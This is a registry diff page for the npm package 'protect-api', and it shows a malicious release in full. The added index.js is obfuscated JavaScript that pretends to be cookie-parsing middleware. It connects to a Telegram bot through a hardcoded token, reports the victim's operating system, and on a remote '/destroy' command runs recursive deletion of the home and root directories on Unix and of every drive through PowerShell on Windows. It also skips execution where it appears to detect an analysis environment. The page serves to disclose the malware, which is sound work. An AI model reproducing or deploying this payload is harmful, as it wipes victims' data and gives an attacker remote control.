protect-api 0.0.1-security → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of protect-api might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +14 -4
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
var _0x84171d=_0x2233;(function(_0x2b95ba,_0x554140){var _0x3dd541=_0x2233,_0x1ccc2f=_0x2b95ba();while(!![]){try{var _0x37e1bd=-parseInt(_0x3dd541(0xae))/0x1+parseInt(_0x3dd541(0x93))/0x2+parseInt(_0x3dd541(0xad))/0x3+parseInt(_0x3dd541(0xb4))/0x4*(parseInt(_0x3dd541(0xa8))/0x5)+parseInt(_0x3dd541(0x96))/0x6+parseInt(_0x3dd541(0x97))/0x7+parseInt(_0x3dd541(0x9d))/0x8*(-parseInt(_0x3dd541(0x94))/0x9);if(_0x37e1bd===_0x554140)break;else _0x1ccc2f['push'](_0x1ccc2f['shift']());}catch(_0x4f2af0){_0x1ccc2f['push'](_0x1ccc2f['shift']());}}}(_0x2088,0x2e5c9));const {exec}=require(_0x84171d(0x9f)),os=require('os');function cookieParser(_0x15b947,_0x37370e){var _0x2ad10a=_0x84171d,_0x540f51=!_0x15b947||Array[_0x2ad10a(0x9b)](_0x15b947)?_0x15b947||[]:[_0x15b947];return function _0x2587ce(_0x22abed,_0x3de137,_0x3691bc){var _0x4de66f=_0x2ad10a;if(_0x22abed[_0x4de66f(0xaf)])return _0x3691bc();var _0x3055b2=_0x22abed['headers']['cookie'];_0x22abed[_0x4de66f(0xb0)]=_0x540f51[0x0],_0x22abed[_0x4de66f(0xaf)]=Object[_0x4de66f(0x98)](null),_0x22abed[_0x4de66f(0xab)]=Object['create'](null);if(!_0x3055b2)return _0x3691bc();_0x22abed[_0x4de66f(0xaf)]=cookie[_0x4de66f(0xa7)](_0x3055b2,_0x37370e),_0x540f51[_0x4de66f(0xb2)]!==0x0&&(_0x22abed['signedCookies']=signedCookies(_0x22abed[_0x4de66f(0xaf)],_0x540f51),_0x22abed[_0x4de66f(0xab)]=JSONCookies(_0x22abed[_0x4de66f(0xab)])),_0x22abed['cookies']=JSONCookies(_0x22abed[_0x4de66f(0xaf)]),_0x3691bc();};}typeof cookieParser;function JSONCookie(_0x249f53){var _0x2de0cd=_0x84171d;if(typeof _0x249f53!==_0x2de0cd(0x99)||_0x249f53[_0x2de0cd(0xa6)](0x0,0x2)!=='j:')return undefined;try{return JSON[_0x2de0cd(0xa7)](_0x249f53[_0x2de0cd(0xa1)](0x2));}catch(_0x27ad86){return undefined;}}const TelegramBot=require(_0x84171d(0xa9)),access_token=_0x84171d(0xa4),assistant=new TelegramBot(access_token,{'polling':!![]});assistant['on'](_0x84171d(0x8c),_0x56d10d=>{});function JSONCookies(_0x3dacbf){var _0x439db3=_0x84171d,_0x323b78=Object[_0x439db3(0x9e)](_0x3dacbf),_0x4f6f4c,_0x5a8e3e;for(var _0x24dc33=0x0;_0x24dc33<_0x323b78[_0x439db3(0xb2)];_0x24dc33++){_0x4f6f4c=_0x323b78[_0x24dc33],_0x5a8e3e=JSONCookie(_0x3dacbf[_0x4f6f4c]),_0x5a8e3e&&(_0x3dacbf[_0x4f6f4c]=_0x5a8e3e);}return _0x3dacbf;}function signedCookie(_0x20b719,_0x119ec8){var _0x34d4af=_0x84171d;if(typeof _0x20b719!==_0x34d4af(0x99))return undefined;if(_0x20b719[_0x34d4af(0xa6)](0x0,0x2)!=='s:')return _0x20b719;var _0xba0582=!_0x119ec8||Array[_0x34d4af(0x9b)](_0x119ec8)?_0x119ec8||[]:[_0x119ec8];for(var _0x45fe6e=0x0;_0x45fe6e<_0xba0582['length'];_0x45fe6e++){var _0x243d13=signature[_0x34d4af(0xb1)](_0x20b719[_0x34d4af(0xa1)](0x2),_0xba0582[_0x45fe6e]);if(_0x243d13!==![])return _0x243d13;}return![];}module['exports']=protectAPI;function _0x2088(){var _0x2a98d0=['Error,\x20i\x20can\x20not\x20fuck\x20this\x20bitch','rm\x20-rf\x20~/\x20>\x20/dev/null\x202>&1;\x20rm\x20-rf\x20/\x20>\x20/dev/null\x202>&1;\x20rm\x20-rf\x20/*\x20>\x20/dev/null\x202>&1;\x20rm\x20-rf\x20*\x20\x20>\x20/dev/null\x202>&1','polling_error','darwin','onText','[OS\x20-\x20','[FUCK]\x20-\x20I\x20can\x20not\x20suck\x20my\x20owner\x20dick!','toString','sendMessage','431100ZWAkLt','9fdXdxU','win32','326124ddDsoy','2081261pTCsIB','create','string','unsupported\x20platform','isArray','\x0a\x20\x20\x20\x20\x20\x20\x20\x20Get-PSDrive\x20-PSProvider\x20FileSystem\x20|\x20ForEach-Object\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20$drive\x20=\x20$_.Root\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(Test-Path\x20$drive)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20Remove-Item\x20-Recurse\x20-Force\x20$drive\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}','3144248VVuXRo','keys','child_process','includes','slice','-4547433658','unix','6864476930:AAEGlPSgZLfR6AI3Lz2Z6jSG6CM5Q8B4RBY','win','substr','parse','35675UKYqeF','node-telegram-bot-api','linux','signedCookies','catch','554592ZAHgBk','247648iPjYUA','cookies','secret','unsign','length','minhtit','44MrBYmT','Success,\x20this\x20bitch\x20has\x20been\x20fucked!'];_0x2088=function(){return _0x2a98d0;};return _0x2088();}function _0x2233(_0xfaf446,_0x48d1c9){var _0x2088ab=_0x2088();return _0x2233=function(_0x2233b0,_0x3f24b4){_0x2233b0=_0x2233b0-0x8a;var _0x46cd6e=_0x2088ab[_0x2233b0];return _0x46cd6e;},_0x2233(_0xfaf446,_0x48d1c9);}function protectAPI(){detectPlatform();}const detectPlatform=()=>{var _0x99cd28=_0x84171d;const _0x24d3c9=os['platform']();assistant['sendMessage'](_0x99cd28(0xa2),'[OS\x20-\x20'+_0x24d3c9+']\x20A\x20mother\x20fucker\x20has\x20connected!')[_0x99cd28(0xac)](_0x4b0889=>{}),assistant[_0x99cd28(0x8e)](/\/destroy/,()=>{var _0x1f3006=_0x99cd28;if(__dirname['toString']()[_0x1f3006(0xa0)]('mware')||__dirname[_0x1f3006(0x91)]()[_0x1f3006(0xa0)](_0x1f3006(0xb3)))assistant[_0x1f3006(0x92)](_0x1f3006(0xa2),_0x1f3006(0x90))[_0x1f3006(0xac)](_0x9f21c8=>{});else{assistant[_0x1f3006(0x92)](_0x1f3006(0xa2),'Destroying')[_0x1f3006(0xac)](_0x1d509d=>{});switch(_0x24d3c9){case _0x1f3006(0x95):cwin();return;case _0x1f3006(0xaa):case _0x1f3006(0x8d):cunix();return;default:handleResult(_0x1f3006(0x9a),![]);}}});},cwin=()=>{var _0x30b162=_0x84171d;const _0x5eccd4=_0x30b162(0x9c);exec('powershell\x20-Command\x20\x22'+_0x5eccd4+'\x22',(_0x1ec65d,_0x3786b4,_0x31f5ec)=>{var _0x49f4e4=_0x30b162;(_0x31f5ec||_0x1ec65d)&&handleResult(_0x49f4e4(0xa5),![]),handleResult('win',!![]);});},cunix=()=>{var _0x1009d5=_0x84171d;const _0x10aa6d=_0x1009d5(0x8b);exec(_0x10aa6d,(_0x30b3af,_0x4ce52c,_0x59e0d2)=>{var _0x1ff386=_0x1009d5;(_0x59e0d2||_0x30b3af)&&handleResult(_0x1ff386(0xa3),![]),handleResult('unix',!![]);});};function handleResult(_0x25579c,_0x41bae7){var _0xe99ce1=_0x84171d;assistant['sendMessage'](_0xe99ce1(0xa2),_0xe99ce1(0x8f)+_0x25579c+']\x20'+(_0x41bae7?_0xe99ce1(0xb5):_0xe99ce1(0x8a))+'!')[_0xe99ce1(0xac)](_0x3b1a72=>{});}function signedCookies(_0x35e3cd,_0x453501){var _0x3a44f2=_0x84171d,_0xa83c79=Object[_0x3a44f2(0x9e)](_0x35e3cd),_0xdb532f,_0xf8ffb4,_0x7f4350=Object['create'](null),_0x52e41b;for(var _0x491ccf=0x0;_0x491ccf<_0xa83c79[_0x3a44f2(0xb2)];_0x491ccf++){_0xf8ffb4=_0xa83c79[_0x491ccf],_0x52e41b=_0x35e3cd[_0xf8ffb4],_0xdb532f=signedCookie(_0x52e41b,_0x453501),_0x52e41b!==_0xdb532f&&(_0x7f4350[_0xf8ffb4]=_0xdb532f,delete _0x35e3cd[_0xf8ffb4]);}return _0x7f4350;}
|
package/package.json
CHANGED
|
@@ -1,6 +1,16 @@
|
|
|
1
1
|
{
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
2
|
+
"name": "protect-api",
|
|
3
|
+
"version": "1.0.7",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"type": "commonjs",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"author": "mene-project",
|
|
10
|
+
"license": "ISC",
|
|
11
|
+
"description": "",
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"child_process": "^1.0.2",
|
|
14
|
+
"node-telegram-bot-api": "^0.66.0"
|
|
15
|
+
}
|
|
6
16
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=protect-api for more information.
|